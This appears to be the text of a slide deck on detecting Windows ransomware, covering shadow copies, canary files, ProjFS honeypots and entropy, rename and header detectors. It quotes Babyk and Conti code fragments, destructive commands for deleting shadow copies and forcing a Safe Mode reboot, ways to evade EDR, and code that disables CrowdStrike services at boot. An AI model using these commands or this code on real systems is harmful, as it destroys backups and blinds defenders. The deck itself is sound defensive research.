OnlyMalware

Windows Ransomware Detection

1
Windows Ransomware Overview
Pre-encryption operations File system encryption

Prevent recovery Obtain handle to file

Delete VSS Shadow Copies Terminate process with file lock
Attempt to evade/disable EDR Windows Restart Manager
Stop services/terminate processes Encrypt and rename/delete file
Reboot into Safe Mode Variable encryption based on file size
File system enumeration and type
Drop ransom note

2
Before the Encryption

3
Voulme Shadow Copy Service
Enables creation of volume backups
Point-in-time copies of data (shadow copies)
\Device\HarddiskVolume1
\Device\HarddiskVolumeShadowCopyN
Two mechanisms
Complete copy (split mirror)
Copy-on-Write (differential copy)
Shadow copy providers
Default system provider (leverages CoW)
Provided by [Link] and [Link]

4
Deleting VSS Shadow Copies
// Babyk
ShellExecuteW(0, L"open", L"[Link]",
L"/c [Link] delete shadows /all /quiet",
0, SW_HIDE);

// Conti
BSTR Query = pSysAllocString(L"SELECT * FROM Win32_ShadowCopy");
...
hr = pclsObj->Get(L"ID", 0, &vtProp, 0, 0);
wsprintfW(CmdLine,
L"[Link] /c C:\\Windows\\System32\\wbem\\[Link] shadowcopy where \"ID='%s'\" delete",
[Link]);
CmdExecW(CmdLine);

[Link] delete shadows /all

5
Command Line Detections - Telemetry
Kernel driver - Process creation/exit callback
Synchronous
PsSetCreateProcessNotifyRoutineEx

PCREATE_PROCESS_NOTIFY_ROUTINE_EX
Set [Link] to veto process from being created
Event Tracing for Windows
Asynchronous, not real time
Microsoft-Windows-Kernel-Process provider

6
 Malicious VSS Command Line Detections - Elastic
([Link].original_file_name : "[Link]"
and process.command_line : "*shadowcopy*"
and process.command_line : "*delete*")

or

([Link].original_file_name : "[Link]"
and process.command_line : "*shadows*"
and process.command_line : ("*delete*", "*resize*401*"))

No detections for [Link] delete shadows /all

[Link]
7
 Avoiding Command Line Detections (1)
EDR is good at malicious command line detection and prevention
Run Portable Executable with command line in-memory
Avoids process creation (no PCREATE_PROCESS_NOTIFY_ROUTINE_EX callback)
Readily available open source implementations
Many C2 frameworks additionally provide this functionality (BRC4/Cobalt
Strike/Havoc)

[Link] (2023)
8
Avoiding Command Line Detections (2)
Use Microsoft COM providers
IVssSoftwareSnapshotProvider::DeleteSnapshots
Delete snapshot
IVssDifferentialSoftwareSnapshotMgmt::ChangeDiffAreaMaximumSize
Resize storage association for shadow copy storage
Set to smallest acceptable byte size (1 byte)
Causes shadow copies to disappear - deleting them

9
 Avoiding Command Line Detections (3)
Reimplement the actual IOCTL's used by these providers/CLI utilities
Approach first documented by Fortinet in 2020
All implementations at the heart willl use IOCTLs
Detection/Prevention requires IRP filtering at kernel level

[Link] (2020)
10
 VSS Abuse - IOCTLs
vssadmin delete shadows /for=c: /all
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=1

Open handle to \Device\HarddiskVolumeShadowCopyN

Send IOCTL_VOLSNAP_DELETE_SNAPSHOT
Or IOCTL_VOLSNAP_SET_MAX_DIFF_AREA_SIZE
Public proof of concept by @gtworek in 2021
Growing number of ransomware leverage this

[Link] (2021)
[Link] (2021)
11
Safe Mode
Example Abuse
Abuse technique:

EDRs do not run in Safe Mode bcdedit /set {current} safeboot minimal
shutdown /r /f t 00
Reboot into Safe Mode to evade
detection

Prevention methods: Detection rule (Elastic):

Block bcdedit command line via ([Link] : "[Link]" or

[Link].original_file_name :
PsSetCreateProcessNotifyRoutineEx "[Link]") and [Link] :
("minimal", "network",
Monitor BCD registry via "safebootalternateshell")
CmRegisterCallback

12
Process Termination
Attempt to stop services from predefined list
Databases, Security Products, Backup software, etc.
Terminate processes
Either everything not a critical process
Predefined list
Release handles to files
Free up system resources

13
Process Termination
// Conti // Babyk
LPCWSTR WhitelistNames[] = { static const WCHAR* processes_to_stop[] = {
L"[Link]", L"[Link]",
L"[Link]", L"[Link]",
L"[Link]", L"[Link]",
L"[Link]", L"[Link]",
L"[Link]", L"[Link]",
L"[Link]", L"[Link]",
L"[Link]",
L"[Link]",
L"[Link]",
L"[Link]",
L"[Link]",
L"[Link]",
L"[Link]",
L"[Link]", L"[Link]",
L"[Link]", L"[Link]",
L"[Link]", L"[Link]",
L"[Link]", L"[Link]",
L"[Link]" L"[Link]",
}; ...
};

14
Process Termination - Conti
VOID
process_killer::KillAll(__out PPID_LIST PidList) {
...
do {
// Skips whitelisted file names
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_TERMINATE, FALSE,
pe32.th32ProcessID);
if (hProcess) {
ULONG IsCriticalProcess;
ULONG Size;
NTSTATUS Status = NtQueryInformationProcess(hProcess, ProcessBreakOnTermination,
&IsCriticalProcess, sizeof(ULONG), &Size);

if (!IsCriticalProcess)
TerminateProcess(hProcess, EXIT_SUCCESS);
pCloseHandle(hProcess);
}
} while (Process32NextW(hSnapShot, &pe32));
}
15
File System Enumeration
Drive enumeration strategies:

All system drives (C:, D:, etc.)

User directories and common folders
Skip unnecessary paths for performance

File filtering:

Queue files matching target criteria

Exclude system files ( .exe , .dll , .sys )
Skip already encrypted files ( .ransom_ext )

16
File System Enumeration - Babyk
void _processDrive(WCHAR driveLetter) {
if (WCHAR* driveBuffer = (WCHAR*)_halloc(7 * sizeof(WCHAR)))
// ... build full path \\\\?\\C:

if (DWORD driveType = GetDriveTypeW(driveBuffer))

if (driveType != DRIVE_CDROM) {
if (driveType != DRIVE_REMOTE)
find_paths_recursive(driveBuffer);
else // ... Handle network shares
}
}

if (DWORD dwDrives = GetLogicalDrives()) {

for (WCHAR disk = L'A'; disk <= L'Z'; ++disk) {
if (dwDrives & 1) _processDrive(disk);
dwDrives >>= 1;
}
}
17
File System Enumeration - Babyk
lstrcatW(localDir, L"\\*");
HANDLE hIter = FindFirstFileW(localDir, &fd);
do {
lstrcpyW(localDir, dirPath);
lstrcatW(localDir, L"\\");
lstrcatW(localDir, [Link]);

if (!([Link] & FILE_ATTRIBUTE_DIRECTORY)) {

for (int i = lstrlenW([Link]) - 1; i >= 0; i--) {
if ([Link][i] == L'.')
if (lstrcmpiW([Link] + i, L".exe") == 0 || lstrcmpiW([Link] + i, L".dll") == 0
|| lstrcmpiW([Link] + i, L".babyk") == 0) goto skip;
else break;

while (_que_push(&que_f, localDir, FALSE) == 0)

while (WCHAR* path = _que_pop(&que_f, FALSE, &iError))
_encrypt_file(path);
}
}
skip:;
} while (FindNextFileW(hIter, &fd));

18
File System Enumeration - Conti
do {
if (!plstrcmpW([Link], OBFW(L".")) ||
!plstrcmpW([Link], OBFW(L"..")) ||
[Link] & FILE_ATTRIBUTE_REPARSE_POINT)
continue;
if ([Link] & FILE_ATTRIBUTE_DIRECTORY &&
CheckDirectory([Link])) {
std::wstring Directory = MakePath(CurrentDirectory, [Link]);
PDIRECTORY_INFO DirectoryInfo = new DIRECTORY_INFO;
DirectoryInfo->Directory = Directory;
TAILQ_INSERT_TAIL(&DirectoryList, DirectoryInfo, Entries);
}
else if (CheckFilename([Link])) {
std::wstring Filename = MakePath(CurrentDirectory, [Link]);
INT TasksCount = threadpool::PutTask(ThreadPoolID, Filename);
if (TasksCount >= MAX_TASKS)
threadpool::SuspendThread(ThreadPoolID);
}
} while (pFindNextFileW(hSearchFile, &FindData)); 19
Hijacking File System Enumeration
FindFirstFile behavior on NTFS:

Returns files in directory entry table order

Roughly alphabetical, but not guaranteed

Force early enumeration using prefixes:

$ has lowest ASCII/Unicode value

aa / zz prefixes (Elastic's approach)

Hidden attribute (some vendors)

Result: Ransomware encrypts our canaries first!

Early detection before real files affected

20
Canary Files

21
 Canary Files - Elastic
File system operations telemtry provided by kernel driver
Deploy in known starting points for ransomware encryption
User directories
Root directories (e.g. C:\ )
Creates files in both aa and zz prefixed directories
Uses multiple common file extensions (.txt, .doc, .docx, etc.)

[Link]
22
Canary Files - Elastic
local canaries = {}
local canaryDirNames = {}
local canaryFileNames = {}
local canaryExtensions = {'txt', 'doc', 'docx', 'docm', 'dot', 'xls', 'xlsx', 'xlsm', 'ppt', 'pptx', 'pptm'}

-- Generate a canary file content, for now all canary files have the same content.
local canaryContent = [Link]()

-- Get the %windir%.

local windowsPath = GetKnownFolderPath('{F38BF404-1D43-42F2-9305-67DE0B28FC23}')

canaryDirNames = {
'aaAntiRansomElastic-DO-NOT-TOUCH-dab6d40c-a6a1-442c-adc4-9d57a47e58d7',
'zzAntiRansomElastic-DO-NOT-TOUCH-dab6d40c-a6a1-442c-adc4-9d57a47e58d7'
}
canaryFileNames = {'AntiRansomElastic-DO-NOT-TOUCH-4568452b-fc17-414d-afb6-ddeceb5ec54c'}

23
Canary Files - Elastic (2)
for _, dirName in ipairs(canaryDirNames) do
for _, fileName in ipairs(canaryFileNames) do
for _, ext in ipairs(canaryExtensions) do
local canaryFileName = fileName .. '.' .. ext
-- Iterate over all user directories.
for _, userProfile in ipairs([Link]()) do
local canaryFullPath = userProfile .. '\\' .. dirName .. '\\' .. canaryFileName
local canary = [Link](canaryFullPath, canaryContent)
[Link](canaries, canary)
end
-- Include also the root directory.
local canaryFullPath = windowsPath .. '\\..\\' .. dirName .. '\\' .. canaryFileName
local canary = [Link](canaryFullPath, canaryContent)
[Link](canaries, canary)
end
end
end

24
Windows Projected File System
User-mode virtual file system framework
Similar to Linux FUSE
No kernel driver development needed
Provides real-time callbacks on file system activity
File: Create, Read, Write, Rename, Delete
Directory: Enumeration, Create, Delete
Handle: Open, Close, Modified notifications
Full access to file content buffers
Benefits for ransomware detection:
Complete visibility into file operations on virtualization root
Process context for each operation 25
Projected File System - Canary Files
auto fs = std::make_unique<InMemoryFS>(L"Root");
{
auto sub = std::make_unique<FsNode>(L"FolderA",
FsNode::Type::Directory);
sub->setRandomTimes();
createSampleFiles([Link]());
fs->root()->addChild(std::move(sub));
}
{
auto sub = std::make_unique<FsNode>(L"FolderB",
FsNode::Type::Directory);
sub->setRandomTimes();
createSampleFiles([Link]());
fs->root()->addChild(std::move(sub));
}

26
Projected File System - Canary Files
static void createSampleFiles(FsNode* parent)
{
if (!parent || !parent->isDirectory()) return;
static const std::string types[] = { "docx","xlsx","pdf","txt" };
for (int i = 0;i < 4;i++) {
auto gen = ContentRegistry::instance().get(types[i]);
if (!gen) continue;

auto node = std::make_unique<FsNode>(

std::wstring(L"Random_") + std::to_wstring(i) + L"." +
std::wstring(types[i].begin(), types[i].end()),
FsNode::Type::File);
node->setRandomTimes();
auto data = gen->generateFile();
node->setContent(data);
parent->addChild(std::move(node));
}
} 27
Projected File System - File Operation Callbacks
PRJ_NOTIFICATION_MAPPING nm[1];
nm[0].NotificationRoot = L"";
nm[0].NotificationBitMask = (PRJ_NOTIFY_TYPES)(
PRJ_NOTIFICATION_FILE_OPENED
| PRJ_NOTIFICATION_FILE_RENAMED
| PRJ_NOTIFICATION_PRE_RENAME
| PRJ_NOTIFICATION_FILE_OVERWRITTEN
| PRJ_NOTIFICATION_FILE_HANDLE_CLOSED_FILE_MODIFIED
| PRJ_NOTIFICATION_PRE_DELETE
| PRJ_NOTIFICATION_FILE_HANDLE_CLOSED_FILE_DELETED
);
PRJ_STARTVIRTUALIZING_OPTIONS opts{};
[Link] = nm;
[Link] = 1;
[Link] = 4;
[Link] = 4;

HRESULT hr = [Link](LR"(C:\$Honeypot)", &opts);

28
During the Encryption

29
Ransomware File System Encryption
Worker threads dequeue files to encrypt
Encryption varies by file size and type:
Partial encryption for large files
Different algorithms by extension
Append encrypted metadata to file:
Encrypted symmetric key
Decryption parameters
Common operation sequence:
Encrypt content
Append metadata
Rename/delete original 30
Detection Metrics
Process-based scoring system File operation patterns

Track malicious operations per PID Track rename/delete frequency

Threshold triggers detection response Monitor for known ransomware
extensions
File content analysis
Detection scope optimization
Header validation (e.g. PDF magic
bytes) Apply rules to canary files primarily
Entropy measurement for encryption Balance between coverage and
detection performance

31
Detection Implementations
Most vendors leverage file system minifilter drivers
Elastic's open-source approach demonstrates typical patterns:
Implements scoring-based threshold with Lua detection engine
Multiple detection vectors:
File operations (rename, write, delete)
Ransom note detection
Known extension blacklist

32
Projected File System - Canary Detection Engine
DetectionEngine engine(/*threshold=*/5, /*ttlSec=*/300);
[Link](std::make_unique<RenameThresholdDetector>(3));
[Link](std::make_unique<EntropyDetector>(1.5));
[Link](std::make_unique<MagicHeaderDetector>());

[Link](logSuspicious);
[Link](terminateProcess);

InMemoryProvider provider(std::move(fs), engine);

33
Header Mismatch
On file write/handle close, check if file header (magic bytes) match the file extension.

Limitations:
Ransomware can preserve original file headers by:
Only encrypting file content after magic bytes
Copying original headers back after encryption
Some file types lack consistent magic bytes
Files without standard headers (like .txt) can't be validated
Headers can be valid but content still encrypted
Performance impact of reading file headers for every write operation

34
class MagicHeaderDetector : public IDetector {
public:
DetectionResult onEvent(const DetectionEvent& e) override {
DetectionResult r{};
if ((([Link] & PRJ_NOTIFICATION_FILE_OVERWRITTEN) != 0) ||
(([Link] & PRJ_NOTIFICATION_FILE_HANDLE_CLOSED_FILE_MODIFIED) != 0)) {
if (![Link]() && ![Link]()) {
auto oldType = ContentRegistry::instance().detectTypeByMagic([Link]);
auto newType = ContentRegistry::instance().detectTypeByMagic([Link]);
if (![Link]() && oldType != newType) {
[Link] = 2;
if ([Link]())
[Link] = "Magic header changed from " + oldType + " to UNKNOWN";
else
[Link] = "Magic header changed from " + oldType + " to " + newType;
}
}
}
return r;
}
};

35
Entropy Jump
An increased entropy of file content is a good indicator of encrypted content.

Limitations:
Partially encrypted files may not raise overall entropy past thresholds
Pre-compressed/encrypted files already have high entropy
Ransomware can lower entropy by padding encrypted content
Threshold tuning challenges: balancing detection vs false positives

36
class EntropyDetector : public IDetector {
public:
explicit EntropyDetector(double delta = 1.5)
: m_delta(delta) { }

DetectionResult onEvent(const DetectionEvent& e) override

{
DetectionResult r{};
// only consider overwrites or "file handle closed after modification"
if ((([Link] & PRJ_NOTIFICATION_FILE_OVERWRITTEN) != 0) ||
(([Link] & PRJ_NOTIFICATION_FILE_HANDLE_CLOSED_FILE_MODIFIED) != 0))
{
if (![Link]() && ![Link]())
{
double oldEnt = computeEntropy([Link]);
double newEnt = computeEntropy([Link]);
if ((newEnt - oldEnt) >= m_delta)
{
[Link] = 2;
char buf[128];
sprintf_s(buf, "Entropy rose from %.2f to %.2f", oldEnt, newEnt);
[Link] = buf;
}
}
}
return r;
}
private:
double m_delta = 1.5;
};

37
File Renaming
Single process renames several files to an unknown extension in a short period of time.
Maintain known bad file extension dictionary to check against.

Limitations of Rename Threshold Detection:

Ransomware can avoid rename operations by:

Creating new encrypted files and deleting originals
False positives from legitimate batch rename operations
Distribute file encryption/renaming across multiple PIDs
Challenges in setting appropriate thresholds for different environments

38
class RenameThresholdDetector : public IDetector {
public:
explicit RenameThresholdDetector(int threshold)
: m_threshold(threshold) { }
DetectionResult onEvent(const DetectionEvent& e) override
{
DetectionResult r{};
if ((([Link] & PRJ_NOTIFICATION_FILE_RENAMED) != 0) ||
(([Link] & PRJ_NOTIFICATION_PRE_RENAME) != 0))
{
std::lock_guard<std::mutex> lock(m_mtx);
int& count = m_map[[Link]];
count++;
if (count >= m_threshold) {
[Link] = 2;
[Link] = "Excessive rename count";
}
}
return r;
}
private:
int m_threshold = 3;
std::mutex m_mtx;
std::unordered_map<DWORD, int> m_map;
};

39
Path History Detection
Path history evaluates file operations in sequence to detect ransomware patterns like
creating encrypted files immediately after deleting originals.

Limitations:

Ransomware can split operations across multiple processes

Can't detect if file is moved before encryption
High false positives on batch file operations

40
function [Link](eventData, processData)
-- Track all operations per filepath
local pathEventTable = {}
for _, v in pairs([Link]) do
if not pathEventTable[[Link]] then
pathEventTable[[Link]] = {}
end
[Link](pathEventTable[[Link]], [Link])
end
if globals.FILE_DELETE == [Link] then
-- Check if filepath was previously created with high entropy
local prevCreate = false
for _, prevOperation in pairs(pathEventTable[[Link]]) do
if globals.FILE_CREATE_NEW == prevOperation then
prevCreate = true
break
end
end
if prevCreate and globals.ENTROPY_HIGH < [Link] then
[Link] = [Link] +
[Link].DELETE_WITH_HIGH_ENTROPY_PREVIOUS_CREATE['score']
[Link](eventData,
'DELETE_WITH_HIGH_ENTROPY_PREVIOUS_CREATE')
end
end
end

41
Projected File System vs Babyk

42
Projected File System Caveats
Complex API, limited documentation/examples
Requires admin and enabling the Windows feature
Enable-WindowsOptionalFeature -Online -FeatureName Client-ProjFS -
NoRestart

Ransomware can detect ProjFS virtualization:

By checking for virtualization roots directly
By identifying FILE_ATTRIBUTE_REPARSE_POINT
Could selectively avoid encrypting ProjFS directories
Cannot virtualize existing directories
E.g. cannot mark C:\ as the virtualization root

43
Early Boot Ransomware

44
Early Boot - Security Considerations
BootExecute mechanism:
Runs unsigned apps before Win32 initialization
Executes before EDR loads (services/drivers)
Enables disabling of EDR services during boot
Enables manipulation of Shadow Copy volumes
Vendor detection gaps:
Only monitor BootExecute registry key
Miss other boot-time registry keys (new keys added in Windows 11)
BootExecuteNoPnpSync , SetupExecute , PlatformExecute , e.g.

45
Early Boot - EDR Service Tampering
static const WCHAR ServicesPath[] = memcpy(fullBuf, [Link], [Link]);
L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services"; fullBuf[[Link] / sizeof(WCHAR)] = L'\\';
memcpy(&fullBuf[([Link] / sizeof(WCHAR)) + 1],
static const WCHAR* services[] = { kbi->Name, serviceNameLen);
L"CSFalconService", fullBuf[totalLen / sizeof(WCHAR)] = L'\0';
L"CSAgent",
}; UNICODE_STRING serviceKeyName;
[Link] = fullBuf;
for (int i = 0; i < (int)(sizeof(services) / sizeof(services[0])); i++) {
[Link] = totalLen;
if (_wcsicmp(serviceNameBuf, services[i]) == 0) {
present = TRUE; [Link] = totalLen + sizeof(WCHAR);
break;
} OBJECT_ATTRIBUTES svcOa;
} InitializeObjectAttributes(
&svcOa, &serviceKeyName, OBJ_CASE_INSENSITIVE, NULL, NULL);
if (present) {
UNICODE_STRING basePath; HANDLE hService;
RtlInitUnicodeString(&basePath, ServicesPath); NTSTATUS openStatus = NtOpenKey(&hService, KEY_ALL_ACCESS, &svcOa);

USHORT totalLen = [Link] + sizeof(WCHAR) + serviceNameLen; if (NT_SUCCESS(openStatus)) {

fullBuf = (PWCH)RtlAllocateHeap(g_Heap, 0, totalLen + sizeof(WCHAR)); SetDwordValue(hService, L"Start", 4); // Disabled
if (!fullBuf) { SetDwordValue(hService, L"Type", 0x10); // Win32 Own Process
status = STATUS_NO_MEMORY; NtClose(hService);
goto service_cleanup; }
} }

46
Boot Execute Validation
ELAM drivers provide early-boot protection:

Run at earliest boot stage

Launch before BootExecute entries
Can validate signatures via Code Integrity API

Mitigation capabilities:

Remove malicious registry entries

Block unsigned applications
Thus, prevent EDR tampering attempts

47
Takeaways
Ransomware detection is hard
Cat and Mouse game
Each detection threshold has several limitations
Exfilitration is its own big problem
Vendors should focus on securing VSS service
VSS was not designed with security in mind
VSS providers to enable high-integrity local/remote backups
Focus on detection of the underlying mechanism
(prevention vs prescription)
Focus on IRP filtering and access control at kernel level
Access control on destructive IOCTLs 48
Any Questions?

49